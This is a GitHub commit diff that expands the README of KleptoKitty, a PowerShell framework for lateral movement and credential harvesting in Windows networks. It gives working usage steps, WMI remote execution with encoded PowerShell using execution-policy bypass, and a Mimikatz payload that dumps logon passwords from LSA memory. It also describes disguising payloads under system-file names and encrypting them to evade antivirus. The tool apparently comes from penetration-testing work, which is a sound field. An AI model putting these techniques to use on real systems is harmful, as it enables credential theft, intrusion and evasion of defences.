Skip to content

Commit 9a2b9c6

Browse files
committed
Update README
1 parent 584f087 commit 9a2b9c6

File tree

1 file changed

+84
-3
lines changed

1 file changed

+84
-3
lines changed

README.md

Lines changed: 84 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,22 @@
11
# KleptoKitty
22

3-
Invoke-KleptoKitty - Deploys payloads and collects credentials
3+
KleptoKitty - Deploys payloads and collects credentials.
4+
5+
## Introduction
6+
7+
KleptoKitty, the twin sister of HardeningKitty is a PowerShell based framework for lateral movement attacks in a Windows infrastructure. The development started in October 2019 after inspiration of the cypherpunk and hacker [Tinker](https://twitter.com/TinkerSec). Payloads include Invoke-Mimikatz from [Empire](https://github.com/BC-SECURITY/Empire) by [BC Security](https://www.bc-security.org/blog), [Mimikatz](https://github.com/gentilkiwi/mimikatz) by [Benjamin Delpy](https://twitter.com/gentilkiwi) and [PPLKiller](https://github.com/RedCursorSecurityConsulting/PPLKiller) by [Red Cursor](https://www.redcursor.com.au/).
8+
9+
Standard Windows components are used for file transfer and remote command execution. Most functions are controlled by PowerShell. By default, files are copied to the target system via SMB/Admin shares. For remote execution of commands, Windows Management Instrumentation (WMI), PsExec or Windows Remote Management (WinRM)can be used. The goal is to get local credentials (SAM) and credentials of active accounts in Windows LSA memory.
10+
11+
There is a [scip Labs article about KleptoKitty](https://www.scip.ch/en/?labs.20200917). This README is largely based on the Labs article, but will be adapted in the future according to development of KleptoKitty.
412

513
## How to run
614

15+
Download KleptoKitty and copy it to the target system. The payloads have to be built by yourself. If unencrypted payloads are used, there is a risk that scripts such as Invoke-Mimikatz could be detected by anti-virus software. KleptoKitty does not need administrative privileges to run. But for running KleptoKitty on the target system administrative rights are required. The credentials are requested at the beginning of the script.
16+
717
```powershell
8-
PS C:\> Import-Module -Force .\Invoke-KleptoKitty.ps1 PS C:\> Invoke-KleptoKitty -ComputerName 192.168.244.130 -CredentialAccess SqlDumper
18+
PS C:\> Import-Module -Force .\Invoke-KleptoKitty.ps1
19+
PS C:\> Invoke-KleptoKitty -ComputerName 192.168.244.130 -CredentialAccess SqlDumper
920
1021
=^._.^=
1122
_( )/ KleptoKitty
@@ -27,4 +38,74 @@ Credential
2738
[*] 8/7/2020 8:46:14 AM - Delete drive
2839
[*] 8/7/2020 8:46:14 AM - 192.168.244.130 done
2940
[*] 8/7/2020 8:46:14 AM - KleptoKitty is done
30-
```
41+
```
42+
43+
## "Hello" World with KleptoKitty
44+
45+
The payload _Demo_ is a good example to explain the functionality of KleptoKitty. The payload is copied to the target and executed there. The payload leaves a log entry in the newly created file under _C:\Windows\kleptokitty.log_:
46+
47+
```powershell
48+
$ProtocolPath = "C:\Windows\kleptokitty.log"
49+
$Time = Get-Date -Format G
50+
$Message = "$Time - KleptoKitty was here."
51+
Add-Content -Path $ProtocolPath -Value $Message
52+
```
53+
54+
For the payload _Demo_, only a file needs to be copied and executed on target. It is not necessary to extract a log file. The name of the payload is generated randomly at runtime for each target system. It is intended to give a harmless impression by using names of Windows system files. In the first step, the payload is copied. If this fails, further execution will be stopped. The payload is then executed and afterwards deleted from the system:
55+
56+
```powershell
57+
# Copy Payload
58+
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
59+
$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
60+
If (-not($ResultCopyPayload)) { Continue }
61+
62+
# Execute Payload
63+
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
64+
$PayloadCommandCredentialAccess = "$TargetPayloadLocalPath"
65+
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess
66+
If ($ResultExecutePayload) {
67+
Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
68+
}
69+
70+
# House Cleaning
71+
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
72+
Delete-File -File $TargetPayloadPath
73+
```
74+
75+
The remote command execution is done using WMI. A new process is created and powershell.exe is started. Optionally, the arguments of the payload can be encoded with Base64 and thus disguised. However, if PowerShell Script Block Logging is enabled, the execution call is stored decoded in the event log. Additionally, the use of Base64 encoding might be an indicator for a malicious action. The use of this obfuscation is optional and can be controlled when the function is called.
76+
77+
```powershell
78+
Code $PayloadCommandEncoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PayloadCommand))
79+
$ArgumentList = "powershell.exe -Exec Bypass -Enc $PayloadCommandEncoded"
80+
81+
try {
82+
$WmiExec = Invoke-WmiMethod -Class "win32_process" -Name "create" -ArgumentList $ArgumentList -ComputerName $Hostname -Credential $AdminCredential -ErrorAction Stop
83+
} catch {
84+
$ErrorReason = $_.Exception.Message
85+
Write-ProtocolEntry -Text "WMI connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
86+
Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
87+
$ReturnCode = $false
88+
}
89+
```
90+
91+
Once the payload has been started on the target system, the process can only be monitored indirectly. Therefore, if a log file is written and should be copied back, it is worth waiting a while before taking further steps.
92+
93+
## Structure of a Payload
94+
95+
The following example is based on a payload with Invoke-Mimikatz. The Invoke-Mimikatz function itself is copied to the payload. This is followed by the definition of a log file for the Mimikatz log file. The name of the log file must be known to KleptoKitty, otherwise the log file cannot be extracted. Then the Mimikatz statements to be executed are defined. In the following example the credentials of active users on the system are dumped from memory:
96+
97+
```powershell
98+
Function FormerlyKnownAsMimikatz {
99+
# <add the script here>
100+
}
101+
102+
# Log
103+
$TargetBasePath = "Windows"
104+
$TargetLogName = "de-ch.log"
105+
$TargetLogLocalPath = "C:\$TargetBasePath\$TargetLogName"
106+
107+
# Run Payload
108+
FormerlyKnownAsMimikatz -Command """log $TargetLogLocalPath"" privilege::debug sekurlsa::logonpasswords"
109+
```
110+
111+
The payload itself can also be encoded with Base64 or encrypted with Rijndael. For the encryption, a script based on an [example implementation by Kae Travis](https://www.alkanesolutions.co.uk/2015/05/20/rijndael-encryption-and-decryption-in-c-and-powershell/) is used. The encoding or encryption disguises the payload, so that it can escape detection by a virus scanner. However, the decoding/decryption process is done at runtime. Virus scanners with support for Microsoft AMSI can therefore scan the unprotected version of the payload.

0 commit comments

Comments
 (0)